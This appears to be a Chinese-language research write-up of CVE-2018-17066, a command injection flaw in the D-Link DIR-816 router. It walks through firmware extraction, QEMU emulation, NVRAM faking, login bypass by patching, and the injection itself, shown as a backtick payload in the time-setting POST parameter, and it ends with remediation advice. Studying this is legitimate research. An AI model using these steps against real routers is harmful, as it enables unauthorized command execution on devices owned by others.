IOT-CVE-2018-17066(D-Link命令注入漏洞)
字数 1584 2025-08-22 12:23:25
D-Link DIR-816 命令注入漏洞 (CVE-2018-17066) 深入分析与利用指南
漏洞概述
CVE-2018-17066 是 D-Link DIR-816 路由器中的一个高危命令注入漏洞。该漏洞存在于路由器的时间设置功能中,由于前端页面未对用户输入的时间参数进行有效过滤,导致攻击者可以通过构造恶意时间参数实现任意命令执行。
漏洞原理:
- 前端时间设置页面接收用户输入的时间数据
- 输入数据未经任何过滤直接传输到后端处理
- 后端通过
doSystem("date -s \"%s\"", Var)函数调用 - 攻击者可在时间参数中嵌入系统命令,实现命令注入
环境准备
所需工具
- Kali Linux 2023(自带 Burp Suite)
- Ubuntu(用于固件提取)
- QEMU(用于固件模拟)
- Binwalk(固件分析工具)
- IDA Pro(逆向分析工具)
固件获取
-
访问 D-Link 官方技术支持网站下载固件:
-
下载固件文件:DIR-816.img
固件分析
使用 Binwalk 提取固件
binwalk -Me DIR-816.img
提取结果分析:
- 4280396 (0x41504C): Linux kernel version 2.6.36
- 4642928 (0x46D870): xz compressed data
- 4764032 (0x48B180): Unix path: /etc/Wireless/RT2860AP/RT2860AP.dat
- 4789596 (0x49155C): XML document
- 提取出的文件系统:squashfs-root(根目录)
文件系统分析
重点关注 /bin/goahead 文件,这是路由器的 Web 服务器程序:
- ELF 32-bit LSB executable
- MIPS架构
- 动态链接库:/lib/ld-uClibc.so.0
- 已剥离符号表
固件模拟执行
QEMU 模拟方法
有两种方法模拟运行 goahead:
-
动态版本 (qemu-mipsel):
sudo qemu-mipsel -L ./ ./bin/goahead -
静态版本 (qemu-mipsel-static):
cp $(which qemu-mipsel-static) ./ sudo chroot . ./qemu-mipsel-static ./bin/goahead
常见错误及解决方案
-
goahead.pid 未找到:
rm -rf ./var/run mkdir ./var/run touch ./var/run/goahead.pid -
nvramd.pid 未找到:
touch ./var/run/nvramd.pid -
缺少二进制 IP 数据:
这是由于 nvram_bufget 函数无法读取 lan_ipaddr 导致,需要模拟 NVRAM 设备。
NVRAM 模拟方案
方案一:使用 LD_PRELOAD 劫持动态链接库
- 获取或编写 libnvram.so
- 修改 config.h 中的配置:
#define MOUNT_POINT "/mnt/libnvram/" #define OVERRIDE_POINT "/mnt/libnvram.override/" ENTRY("lan_ipaddr", nvram_set, "192.168.126.130") \ ENTRY("lan_bipaddr", nvram_set, "192.168.126.255") \ - 编译:
mipsel-linux-gnu-gcc -c -O2 -fPIC -Wall nvram.c -o nvram.o mipsel-linux-gnu-gcc -shared -nostdlib nvram.o -o libnvram.so - 运行:
chroot . ./qemu-mipsel-static -E LD_PRELOAD="./libnvram.so" ./bin/goahead
方案二:Patch 原程序
- 使用 IDA 动态调试:
chroot . ./qemu-mipsel-static -g 23946 ./bin/goahead - 在 IDA 中附加到进程
- 修改关键跳转(如 0x45CDD4 处将 v0 赋值为 0)
漏洞利用
绕过登录验证
方法一:修改前端 ASP 页面
- 找到
/etc_ro/web/dir_login.asp - 修改 JavaScript 验证逻辑:
function onlogin() { /* 注释掉所有验证代码 */ return true; }
方法二:动态调试修改 strcmp 结果
- 在 IDA 中找到 strcmp 调用位置
- 设置断点并修改返回值为 0
命令注入实施
- 访问时间设置页面:
http://192.168.126.131/d_wizard_step1_start.asp - 使用 Burp Suite 拦截 POST 请求
- 在时间参数中注入命令:
date=`ls`2024-6-05 01:58:39 - 观察命令执行结果
命令注入原理
后端处理逻辑:
doSystem("date -s \"%s\"", Var);
攻击者可通过反引号或 $() 实现命令替换:
date -s "`ls`2024-6-05 01:58:39"
漏洞修复建议
- 对用户输入进行严格过滤和验证
- 使用白名单方式限制时间格式
- 避免直接将用户输入传递给系统命令
- 使用安全的 API 替代 system() 调用
总结
CVE-2018-17066 是一个典型的前端输入未过滤导致的命令注入漏洞。通过分析固件、模拟执行环境和理解漏洞原理,安全研究人员可以深入理解此类漏洞的利用方式,并为防御类似漏洞提供参考。